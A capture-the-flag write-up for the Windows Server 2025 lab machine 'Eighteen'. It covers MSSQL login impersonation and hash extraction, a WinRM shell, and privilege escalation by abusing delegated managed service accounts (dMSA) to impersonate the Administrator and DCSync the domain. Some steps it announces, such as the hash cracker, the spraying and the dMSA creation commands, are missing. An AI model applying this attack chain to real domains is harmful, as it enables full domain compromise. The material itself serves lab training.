Eighteen is an easy-difficulty windows machine running a Domain Controller (DC01). We start with MSSQL credentials found during enumeration, pivot through the database to extract a web application admin hash, crack it, and spray the password across domain users to land a WinRM shell. From there, we abuse the Delegated Managed Service Account (dMSA) feature introduced in Windows Server 2025 to impersonate the Administrator and perform a DCSync, fully compromising the domain.
PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Did not follow redirect to http://eighteen.htb/ |_http-server-header: Microsoft-IIS/10.0 1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM | ms-sql-ntlm-info: | 10.129.116.222:1433: | Target_Name: EIGHTEEN | NetBIOS_Domain_Name: EIGHTEEN | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: eighteen.htb | DNS_Computer_Name: DC01.eighteen.htb | DNS_Tree_Name: eighteen.htb |_ Product_Version: 10.0.26100 | ms-sql-info: | 10.129.116.222:1433: | Version: | name: Microsoft SQL Server 2022 RTM | number: 16.00.1000.00 | Product: Microsoft SQL Server 2022 | Service pack level: RTM | Post-SP patches applied: false |_ TCP port: 1433 |_ssl-date: 2025-11-19T10:36:21+00:00; +7h00m01s from scanner time. | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-11-19T03:21:40 |_Not valid after: 2055-11-19T03:21:40 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (88%) OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 Aggressive OS guesses: Microsoft Windows Server 2022 (88%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 456.07 ms 10.10.16.1 2 456.19 ms 10.129.116.222
We have three open ports: HTTP (80), MSSQL (1433), and WinRM (5985). The HTTP redirects to eighteen.htb, so we add it to /etc/hosts. The NTLM info reveals this is DC01.eighteen.htb — a Domain Controller running Windows Server 2025.
MSSQL Enumeration
We have credentials kevin / iNa2we6haRj2gaw! for the MSSQL service. We connect using impacket-mssqlclient:
$ impacket-mssqlclient eighteen.htb/kevin:'iNa2we6haRj2gaw!'@10.129.116.222 Impacket v0.13.0.dev0+20251002.113829.eaf2e556 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS [*] ENVCHANGE(DATABASE): Old Value: master, New Value: master [*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english [*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192 [*] INFO(DC01): Line 1: Changed database context to 'master'. [*] INFO(DC01): Line 1: Changed language setting to us_english. [*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000) [!] Press help for extra shell commands SQL (kevin guest@master)> enum_logins name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin ------ --------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- --------- sa SQL_LOGIN 0 1 0 0 0 0 0 0 0 kevin SQL_LOGIN 0 0 0 0 0 0 0 0 0 appdev SQL_LOGIN 0 0 0 0 0 0 0 0 0 SQL (kevin guest@master)> exec_login as appdev ERROR(DC01): Line 1: Incorrect syntax near the keyword 'as'. SQL (kevin guest@master)> exec_as_login appdev SQL (appdev appdev@master)> enum_db name is_trustworthy_on ----------------- ----------------- master 0 tempdb 0 model 0 msdb 1 financial_planner 0 SQL (appdev appdev@master)> use financial_planner ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner INFO(DC01): Line 1: Changed database context to 'financial_planner'. SQL (appdev appdev@financial_planner)> select name from sys.tables; name ----------- users incomes expenses allocations analytics visits SQL (appdev appdev@financial_planner)> select * from users; id full_name username email password_hash is_admin created_at ---- --------- -------- ------------------ ------------------------------------------------------------------------------------------------------ -------- ---------- 1002 admin admin [email protected] pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133 1 2025-10-29 05:39:03 SQL (appdev appdev@financial_planner)>
We enumerate the SQL logins and find an appdev account. Using exec_as_login, we impersonate appdev and discover a financial_planner database containing a users table. We extract the admin password hash — a pbkdf2:sha256 hash with 600,000 iterations.
Cracking the Hash
The hash format is Werkzeug’s PBKDF2, commonly used in Flask applications. We write a quick Python cracker:
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\adam.scott\Documents> cd ../desktop *Evil-WinRM* PS C:\Users\adam.scott\desktop> cat user.txt d6d73b2bfe99ca5ceaf483e446443f74 *Evil-WinRM* PS C:\Users\adam.scott\desktop>
Privilege Escalation - dMSA Abuse
Windows Server 2025 introduces Delegated Managed Service Accounts (dMSA), a new account type designed to replace legacy service accounts. The key feature we abuse here is the msDS-ManagedAccountPrecededByLink attribute — when a dMSA “supersedes” another account, the KDC grants it all the privileges of the preceded account, including its keys.
Since adam.scott has the ability to create dMSA objects in the OU=Staff organizational unit, we can:
Create a new dMSA
Set its msDS-ManagedAccountPrecededByLink to point to the Administrator account
Set msDS-DelegatedMSAState to 2 (indicating migration is complete)
Request a TGT as the dMSA, which will carry the Administrator’s keys
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket [*] Building DMSA TGS-REQ request for 'testdmsa$' from 'adam.scott' [+] Sequence number is: 461317186 [*] Using domain controller: DC01.eighteen.htb (fe80::1a5e:1ffe:1b5d:e732%3) [+] TGS request successful! [+] Ticket successfully imported! [*] base64(ticket.kirbi):
Eighteen was a great box showcasing the abuse of the new Delegated Managed Service Account (dMSA) feature in Windows Server 2025. The attack chain went from MSSQL credential reuse, through login impersonation and database enumeration, to hash cracking and password spraying for initial access. The privilege escalation leveraged the dMSA msDS-ManagedAccountPrecededByLink attribute to impersonate the Administrator and perform a DCSync, fully compromising the domain.